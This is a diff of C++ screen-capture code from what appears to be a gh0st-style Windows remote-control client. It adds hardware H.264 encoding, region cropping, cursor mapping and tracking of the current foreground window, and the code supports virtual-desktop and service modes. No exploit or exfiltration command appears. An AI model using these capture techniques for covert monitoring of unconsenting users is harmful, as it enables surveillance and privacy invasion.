ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT,
|
||||
RECT rc = {0}, BOOL switchScreen = TRUE) :
|
||||
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
||||
m_SendKeyFrame(false), m_encoder(nullptr),
|
||||
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
|
||||
{
|
||||
SetAlgorithm(algo);
|
||||
m_ROI = rc;
|
||||
m_BitmapInfor_Send = nullptr;
|
||||
m_BmpZoomBuffer = nullptr;
|
||||
m_BmpZoomFirst = nullptr;
|
||||
@@ -201,7 +221,7 @@ public:
|
||||
m_nScreenCount = monitors.size();
|
||||
m_bEnableMultiScreen = all;
|
||||
if (all && !monitors.empty()) {
|
||||
int idx = index++ % (monitors.size()+1);
|
||||
int idx = (switchScreen ? index++ : index) % (monitors.size()+1);
|
||||
if (idx == 0) {
|
||||
m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||
m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||
@@ -255,7 +275,6 @@ public:
|
||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||
|
||||
SAFE_DELETE(m_ThreadPool);
|
||||
SAFE_DELETE(m_encoder);
|
||||
SAFE_DELETE(m_pScrollDetector);
|
||||
}
|
||||
|
||||
@@ -638,11 +657,10 @@ public:
|
||||
// 写入算法类型
|
||||
data[0] = algo;
|
||||
|
||||
// 写入光标位置
|
||||
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
PointConversionInverse(CursorPos);
|
||||
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
||||
|
||||
// 写入当前光标类型(支持自定义光标)
|
||||
@@ -839,6 +857,20 @@ public:
|
||||
return bmpInfo;
|
||||
}
|
||||
|
||||
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
|
||||
void ensureEncoder(int width, int height)
|
||||
{
|
||||
if (m_encoder) return;
|
||||
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住
|
||||
EncoderRequest req;
|
||||
req.width = width;
|
||||
req.height = height;
|
||||
req.fps = 20;
|
||||
req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||
req.encodeLevel = m_EncodeLevel;
|
||||
m_encoder = CreateEncoder(req);
|
||||
}
|
||||
|
||||
// 算法+光标位置+光标类型
|
||||
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
|
||||
{
|
||||
@@ -850,11 +882,10 @@ public:
|
||||
// 写入使用了哪种算法
|
||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||
|
||||
// 写入光标位置
|
||||
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
PointConversionInverse(CursorPos);
|
||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// 写入当前光标类型(支持自定义光标)
|
||||
@@ -878,7 +909,8 @@ public:
|
||||
bool shouldDetectScroll = !keyFrame && algo != ALGORITHM_H264 &&
|
||||
m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector &&
|
||||
!m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 &&
|
||||
(m_FrameID % m_nScrollDetectInterval == 0);
|
||||
(m_FrameID % m_nScrollDetectInterval == 0) &&
|
||||
!m_nScaleSendWidth;
|
||||
|
||||
if (shouldDetectScroll) {
|
||||
int scrollAmount = m_pScrollDetector->DetectVerticalScroll(GetFirstBuffer(), nextData);
|
||||
@@ -924,17 +956,17 @@ public:
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if (m_encoder == nullptr) {
|
||||
m_encoder = new CX264Encoder();
|
||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
||||
}
|
||||
ensureEncoder(width, height);
|
||||
if (!m_encoder) return nullptr;
|
||||
m_encoder->forceIDR(); // 协议层 keyframe → 编码器强制 IDR,与 TOKEN_KEYFRAME 语义对齐
|
||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
// encoded_size == 0:硬编首帧延迟(avcodec_receive_packet 返回 EAGAIN),本帧无码流,按失败跳过
|
||||
if (err || encoded_size == 0) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -954,17 +986,34 @@ public:
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if (m_encoder == nullptr) {
|
||||
m_encoder = new CX264Encoder();
|
||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
||||
ensureEncoder(width, height);
|
||||
if (!m_encoder) return nullptr;
|
||||
// 应用层 skip 检测:硬编器(nvenc/qsv/amf/mf/av1_*)对静态画面 RC 偏弱,
|
||||
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
||||
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
||||
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
||||
//
|
||||
// m_bEncoderPrimed 门:encoder 还没产出过任何包时不允许 skip。
|
||||
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full,
|
||||
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
|
||||
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
|
||||
LPBYTE prev = GetFirstBuffer();
|
||||
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
|
||||
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
||||
return m_RectBuffer;
|
||||
}
|
||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
// encoded_size == 0:硬编首帧延迟,本帧无码流,按失败跳过
|
||||
if (err || encoded_size == 0) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义,skip 才安全
|
||||
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
||||
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
||||
memcpy(prev, nextData, bgraSize);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -985,7 +1034,7 @@ public:
|
||||
virtual BYTE SetAlgorithm(int algo)
|
||||
{
|
||||
BYTE oldAlgo = m_bAlgorithm;
|
||||
m_bAlgorithm = algo;
|
||||
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
|
||||
return oldAlgo;
|
||||
}
|
||||
|
||||
@@ -1007,9 +1056,14 @@ public:
|
||||
// 鼠标位置转换:将服务端坐标(基于发送分辨率)转换为客户端坐标(原始分辨率)
|
||||
virtual void PointConversion(POINT& pt) const
|
||||
{
|
||||
// 0. ROI 偏移:ROI 坐标系 → scale 坐标系
|
||||
if (m_nScaleSendWidth) {
|
||||
pt.x += m_ROI.left;
|
||||
pt.y += m_ROI.top;
|
||||
}
|
||||
// 1. 处理图像缩小传输的坐标缩放(maxWidth 限制)
|
||||
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
int sendWidth = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int sendHeight = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if (sendWidth != m_ulFullWidth || sendHeight != m_ulFullHeight) {
|
||||
pt.x = (LONG)(pt.x * (double)m_ulFullWidth / sendWidth + 0.5);
|
||||
pt.y = (LONG)(pt.y * (double)m_ulFullHeight / sendHeight + 0.5);
|
||||
@@ -1024,6 +1078,31 @@ public:
|
||||
pt.y += m_iScreenY;
|
||||
}
|
||||
|
||||
// 鼠标位置反向转换:将客户端绝对坐标(GetCursorPos)转换为发送坐标系,逐项是 PointConversion 的逆
|
||||
virtual void PointConversionInverse(POINT& pt) const
|
||||
{
|
||||
// 3'. 减去屏幕偏移(多显示器)
|
||||
pt.x -= m_iScreenX;
|
||||
pt.y -= m_iScreenY;
|
||||
// 2'. 反向 DPI 缩放
|
||||
if (m_bZoomed) {
|
||||
pt.x = (LONG)(pt.x / m_wZoom);
|
||||
pt.y = (LONG)(pt.y / m_hZoom);
|
||||
}
|
||||
// 1'. full → send 缩放(位图下采样传输时)
|
||||
int sendWidth = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int sendHeight = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
|
||||
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
|
||||
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
|
||||
}
|
||||
// 0'. scale 坐标系 → ROI 坐标系
|
||||
if (m_nScaleSendWidth) {
|
||||
pt.x -= m_ROI.left;
|
||||
pt.y -= m_ROI.top;
|
||||
}
|
||||
}
|
||||
|
||||
// 获取位图结构信息
|
||||
virtual const LPBITMAPINFO& GetBIData() const
|
||||
{
|
||||
@@ -1106,11 +1185,25 @@ public: // 纯虚接口
|
||||
// 获取下一帧屏幕
|
||||
virtual LPBYTE ScanNextScreen() = 0;
|
||||
|
||||
// ROI crop:从 src(scale 后缓冲)裁剪到 target;src==target 时 in-place 安全
|
||||
LPBYTE applyROICrop(LPBYTE target, LPBYTE src, int scaledW, int scaledH)
|
||||
{
|
||||
int rw = m_BitmapInfor_Send->bmiHeader.biWidth, rh = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
for (int row = 0; row < rh; row++)
|
||||
memmove(target + row * rw * 4, src + ((scaledH - m_ROI.bottom + row) * scaledW + m_ROI.left) * 4, rw * 4);
|
||||
return target;
|
||||
}
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap)
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight)
|
||||
return bitmap;
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
|
||||
int scaledW = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int scaledH = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
LPBYTE src = bitmap;
|
||||
if ((ULONG)scaledW != m_ulFullWidth || (ULONG)scaledH != m_ulFullHeight)
|
||||
src = ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, scaledW, scaledH, m_nInstructionSet);
|
||||
if (m_nScaleSendWidth) {
|
||||
src = applyROICrop(target, src, scaledW, scaledH);
|
||||
}
|
||||
return src;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -25,10 +25,12 @@ private:
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT,
|
||||
RECT rc = {0}, BOOL switchScreen = TRUE)
|
||||
: ScreenCapture(32, algo, all, level, rc, switchScreen)
|
||||
{
|
||||
m_GOP = gop;
|
||||
InitDXGI(all);
|
||||
InitDXGI(all, switchScreen);
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
@@ -46,7 +48,7 @@ public:
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void InitDXGI(BOOL all)
|
||||
void InitDXGI(BOOL all, BOOL switchScreen)
|
||||
{
|
||||
m_iScreenX = 0;
|
||||
m_iScreenY = 0;
|
||||
@@ -71,7 +73,7 @@ public:
|
||||
|
||||
// 4. 获取 DXGI 输出(屏幕)
|
||||
static UINT screen = 0;
|
||||
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
|
||||
HRESULT r = dxgiAdapter->EnumOutputs(switchScreen ? screen++ : screen, &dxgiOutput);
|
||||
if (r == DXGI_ERROR_NOT_FOUND && all) {
|
||||
screen = 0;
|
||||
idx ++;
|
||||
@@ -147,6 +149,15 @@ public:
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = nullptr;
|
||||
|
||||
// ROI
|
||||
int w = m_ROI.right - m_ROI.left, h = m_ROI.bottom - m_ROI.top;
|
||||
if (w > 0 && h > 0) {
|
||||
m_nScaleSendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_nScaleSendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = w;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = h;
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage = w * h * 4;
|
||||
}
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
@@ -172,12 +183,15 @@ public:
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
|
||||
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
return bitmap;
|
||||
}
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
|
||||
int scaledW = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int scaledH = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if ((ULONG)scaledW == m_ulFullWidth && (ULONG)scaledH == m_ulFullHeight)
|
||||
memcpy(target, bitmap, scaledW * scaledH * 4);
|
||||
else
|
||||
ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, scaledW, scaledH, m_nInstructionSet);
|
||||
if (m_nScaleSendWidth)
|
||||
applyROICrop(target, target, scaledW, scaledH);
|
||||
return target;
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
|
||||
|
||||
@@ -31,6 +31,42 @@
|
||||
#include <audioclient.h>
|
||||
#include <functiondiscoverykeys_devpkey.h>
|
||||
|
||||
#include <cstdint>
|
||||
extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; }
|
||||
|
||||
bool IsWindows8orHigher()
|
||||
{
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if ENABLE_SCREEN
|
||||
|
||||
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
||||
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
||||
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
||||
@@ -56,20 +92,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "wtsapi32.lib")
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -77,30 +99,14 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||
|
||||
bool IsWindows8orHigher()
|
||||
{
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
||||
{
|
||||
#ifndef PLUGIN
|
||||
extern ClientApp g_MyApp;
|
||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
||||
#endif
|
||||
m_isGDI = TRUE;
|
||||
@@ -150,9 +156,10 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
||||
m_ScreenSettings.QualityLevel = quality;
|
||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
||||
|
||||
LoadQualityProfiles(); // 加载质量配置
|
||||
|
||||
@@ -169,10 +176,10 @@ bool CScreenManager::SwitchScreen()
|
||||
if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 ||
|
||||
!m_ScreenSpyObject->IsMultiScreenEnabled())
|
||||
return false;
|
||||
return RestartScreen();
|
||||
return RestartScreen(TRUE);
|
||||
}
|
||||
|
||||
bool CScreenManager::RestartScreen()
|
||||
bool CScreenManager::RestartScreen(BOOL switchScreen)
|
||||
{
|
||||
if (m_ScreenSpyObject == NULL || m_bIsWorking == FALSE)
|
||||
return false;
|
||||
@@ -190,6 +197,7 @@ bool CScreenManager::RestartScreen()
|
||||
// 3. 重新启动工作线程(InitScreenSpy 会创建新对象)
|
||||
m_bIsWorking = TRUE;
|
||||
m_SendFirst = FALSE;
|
||||
m_SwitchScreen = switchScreen;
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
return true;
|
||||
}
|
||||
@@ -458,12 +466,27 @@ void CScreenManager::InitScreenSpy()
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
BYTE* user = (BYTE*)m_ptrUser;
|
||||
BOOL all = FALSE;
|
||||
RECT rect = m_ROI;
|
||||
BOOL switchScreen = m_SwitchScreen;
|
||||
if (!(user == NULL || ((int)user) == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
all = param->length > 2 ? param->buffer[2] : all;
|
||||
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获;
|
||||
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
|
||||
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
|
||||
uint64_t hwnd64 = 0;
|
||||
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
|
||||
if (hwnd64 == (uint64_t)-1) {
|
||||
m_bDynamicForeground = true;
|
||||
m_hTargetWnd = GetForegroundWindow();
|
||||
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
|
||||
} else if (hwnd64) {
|
||||
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
|
||||
}
|
||||
}
|
||||
}
|
||||
m_pUserParam = param;
|
||||
} else {
|
||||
@@ -474,6 +497,11 @@ void CScreenManager::InitScreenSpy()
|
||||
if (level >= 0 && level < QUALITY_COUNT) {
|
||||
algo = m_QualityProfiles[level].algorithm;
|
||||
}
|
||||
// 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力
|
||||
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
|
||||
DXGI = USING_GDI;
|
||||
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
|
||||
}
|
||||
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
||||
m_ScreenSettings.ScreenType = DXGI;
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
||||
@@ -518,18 +546,22 @@ void CScreenManager::InitScreenSpy()
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
||||
m_isGDI = FALSE;
|
||||
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
|
||||
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
||||
if (s->IsInitSucceed()) {
|
||||
m_ScreenSpyObject = s;
|
||||
} else {
|
||||
SAFE_DELETE(s);
|
||||
m_isGDI = TRUE;
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
} else {
|
||||
m_isGDI = TRUE;
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||
}
|
||||
// 用已保存的质量配置初始化码率,避免 CMD_QUALITY_LEVEL 到达时 0→3000 触发不必要重启
|
||||
if (m_ScreenSpyObject && level >= 0 && level < QUALITY_COUNT) {
|
||||
m_ScreenSpyObject->SetBitRate(m_QualityProfiles[level].bitRate);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -633,10 +665,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
||||
if (!This->IsConnected()) continue;
|
||||
if (!This->m_SendFirst && This->IsConnected()) {
|
||||
This->m_SendFirst = TRUE;
|
||||
This->SendBitMapInfo();
|
||||
Sleep(50);
|
||||
This->SendFirstScreen();
|
||||
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
|
||||
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
|
||||
if (!_targetWnd || !IsIconic(_targetWnd)) {
|
||||
This->m_SendFirst = TRUE;
|
||||
This->SendBitMapInfo();
|
||||
Sleep(50);
|
||||
This->SendFirstScreen();
|
||||
}
|
||||
}
|
||||
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
||||
if (This->IsRunAsService() && !This->m_virtual) {
|
||||
@@ -691,6 +727,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
|
||||
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
|
||||
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager,
|
||||
// 否则 InitScreenSpy 会沿用旧 HWND,导致无限重建循环
|
||||
if (This->m_ScreenSpyObject->m_NextTargetWnd)
|
||||
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
|
||||
SAFE_DELETE(This->m_ScreenSpyObject);
|
||||
This->InitScreenSpy();
|
||||
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
@@ -718,7 +764,8 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
Mprintf("ScreenManager 析构函数\n");
|
||||
UninitFileUpload();
|
||||
if (!m_Signature.empty())
|
||||
UninitFileUpload();
|
||||
m_bIsWorking = FALSE;
|
||||
m_bAudioThreadRunning = FALSE; // 停止音频线程
|
||||
|
||||
